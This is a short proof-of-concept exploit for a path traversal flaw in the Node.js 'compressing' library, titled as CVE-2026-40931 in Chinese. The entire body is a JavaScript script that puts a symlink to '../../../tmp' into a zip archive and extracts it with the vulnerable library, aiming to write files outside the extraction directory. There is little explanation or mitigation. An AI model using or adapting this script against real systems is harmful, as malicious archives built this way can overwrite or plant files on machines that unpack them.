CVE-2026-40931 compressing库路径穿越漏洞

const fs = require('fs'); const path = require('path'); const compressing = require('compressing'); async function generateMaliciousArchive() { // Setup directories const sourceDir = './source'; const extractDir = './extract'; const targetLink = '../../../tmp'; if (!fs.existsSync(sourceDir)) fs.mkdirSync(sourceDir); if (!fs.existsSync(extractDir)) fs.mkdirSync(extractDir); // Step 1: Create a symlink pointing outside the extraction directory // This simulates the Directory Poisoning technique const linkPath = path.join(sourceDir, 'poisoned_link'); try { fs.symlinkSync(targetLink, linkPath); console.log(`[+] Created symlink: ${linkPath} -> ${targetLink}`); } catch (e) { console.log('[-] Symlink creation failed (might need admin rights)'); } // Step 2: Create a file inside the source (or just the structure) fs.writeFileSync(path.join(sourceDir, 'test.txt'), 'pwned'); // Step 3: Compress the directory const zipFile = './exploit.zip'; await compressing.zip.compressDir(sourceDir, zipFile); console.log(`[+] Archive created: ${zipFile}`); // Step 4: Attempt to unzip using the vulnerable library // The isPathWithinParent check may pass logically but fail physically try { console.log('[*] Attempting to unzip...'); await compressing.zip.uncompress(zipFile, extractDir); console.log('[+] Unzip complete. Check filesystem for writes outside ./extract'); } catch (err) { console.error('[-] Exploit failed:', err.message); } } generateMaliciousArchive();